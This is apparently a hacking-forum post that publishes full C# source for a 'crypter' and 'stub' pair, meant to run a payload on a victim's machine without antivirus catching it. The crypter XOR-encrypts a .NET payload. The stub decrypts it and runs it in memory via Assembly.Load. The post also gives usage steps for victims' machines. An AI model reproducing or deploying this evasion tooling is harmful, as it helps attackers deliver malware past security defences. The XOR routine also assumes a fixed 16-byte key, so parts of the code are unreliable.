

Forum:[Hack Forums](#)

Thread: [A crypter in C# Bypass antivirus Runtime](#)

vasku - April 29, 2020, 1:04 pm

A crypter in C# is not as useful as one in C++, but that's besides the point.

C++: Complex, but handles the low-level stuff much better

C#: Very easy; excellent for creating a basic introduction to crypters.

I'll cover the aspects necessary to build a crypter, and because it's in C#, I can omit the complex, low-level stuff usually associated with this technique. and stfu if u dont understand shit

How does a Runtime Crypter work?

pls look at my pervious thread about this it litrly the same thing but its c# instead c++ here

On the attacker's machine (Crypter)

Quote:Load Payload

Encrypt Payload

Build Stub and Add Payload

At this point I have to say that this crypter has two downsides:

It can only run .NET executables,

and, currently, the encrypted payload has to be given away with the stub in its own file! So you have the stub.exe and payload.bin/dat/jgp. The name of the file is your choice.

On the victims machine (Stub)

Quote:Load encrypted Payload

Decrypt Payload

Run Payload

Everything's done in memory and not on the hard drive!

Source of the Crypter

I think it's well commented so I will just paste it here:

Quote:using System;

using System.Collections.Generic;

using System.Linq;

using System.Text;

using System.Threading.Tasks;

using System.IO;

namespace Crypter

```
{  
    class Program  
    {
```

```

static void Main(string[] args)
{
    //No Arguments -> Exit
    if (args.Length < 2)
    {
        Console.WriteLine("Syntax: crypter.exe <Exe/Dll to get Encrypted> <Password>
(Optional: output file name)");
        Environment.Exit(0);
    }

    String file = args[0];
    String pass = args[1];
    String outFile = "Crypted.exe";

    //If Output Name is specified -> Set it
    if (args.Length == 3)
    {
        outFile = args[2];
    }

    //File doesn't exist -> Exit
    if (!File.Exists(file))
    {
        Console.WriteLine("[!] The selected File doesn't exist!");
        Environment.Exit(0);
    }

    //Everything seems fine -> Reading bytes
    Console.WriteLine("[*] Reading Data...");
    byte[] plainBytes = File.ReadAllBytes(file);

    //Yep, got bytes -> Encoding
    Console.WriteLine("[*] Encoding Data...");
    byte[] encodedBytes = encodeBytes(plainBytes, pass);

    Console.WriteLine("[*] Save to Output File... ");
    File.WriteAllBytes(outFile, encodedBytes);
    Console.WriteLine("Done!");

    Console.WriteLine("\n[*] File successfully encoded!");
}
}
}

```

If you have any questions about the source, just ask in the comments! The encoding function:

```

Quote:private static byte[] encodeBytes(byte[] bytes, String pass)
{
    byte[] XorBytes = Encoding.Unicode.GetBytes(pass);

    for (int i = 0; i < bytes.Length; i++)

```

```

    {
        bytes[i] ^= XorBytes[i % 16];
    }

    return bytes;
}

```

This is a simple XOR-Encryption scheme (refer to @dtm's article) that uses a password in the form of a byte array.

Source of the Stub

It's a rather bad implementation, since you have to hard-code the filenames and the encryption password. Anyway, this is more of a proof-of-concept. C# is not very useful in the production of malware.

Quote:using System;

using System.Collections.Generic;

using System.Linq;

using System.Threading.Tasks;

using System.Windows.Forms;

using System.IO;

using System.Text;

using System.Reflection;

using System.Diagnostics;

namespace Stub

```

{
    static class Program
    {
        /// <summary>
        /// MAIN
        /// </summary>
        [STAThread]
        static void Main()
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            //Application.Run(new Form1());

            //Set Payload File and Password HERE
            RunInternalExe("Crypted.exe", "password");
        }

        private static void RunInternalExe(string exeName, String pass)
        {
            //Verify the Payload exists
            if (!File.Exists(exeName))
                return;

            //Read the raw bytes of the file

```

```

byte[] resourcesBuffer = File.ReadAllBytes(exeName);

//Decrypt bytes from payload
byte[] decryptedBuffer = null;
decryptedBuffer = decryptBytes(resourcesBuffer, pass);

//If .NET executable -> Run
if(Encoding.Unicode.GetString(decryptedBuffer).Contains("</assembly>"))
{
    //Load the bytes as an assembly
    Assembly exeAssembly = Assembly.Load(decryptedBuffer);

    //Execute the assembly
    object[] parameters = new object[1];          // fixes TargetParameterCountException
    exeAssembly.EntryPoint.Invoke(null, parameters);
}
}

/// <summary>
/// Decrypt the Loaded Assembly Bytes
/// </summary>
/// <param name="payload"></param>
/// <returns>Decrypted Bytes</returns>
private static byte[] decryptBytes(byte[] bytes, String pass)
{
    byte[] XorBytes = Encoding.Unicode.GetBytes(pass);

    for (int i = 0; i < bytes.Length; i++)
    {
        bytes[i] ^= XorBytes[i % 16];
    }

    return bytes;
}
}
}

```

You may notice that the encryption and decryption functions are identical. This is how XOR encryption works.

That's all for the source code...

Usage

First, you have to encrypt your payload. This can be done like so:

Quote:crypter.exe <payload file> <encryption password> <output filename>

Next, copy the encrypted file to the folder containing the stub and execute the stub. Don't forget to change the file name and password in the stubs source! Everything should work as expected!*

welp in c# u cant move like c++ but there are more ways for it try to find them and hit me up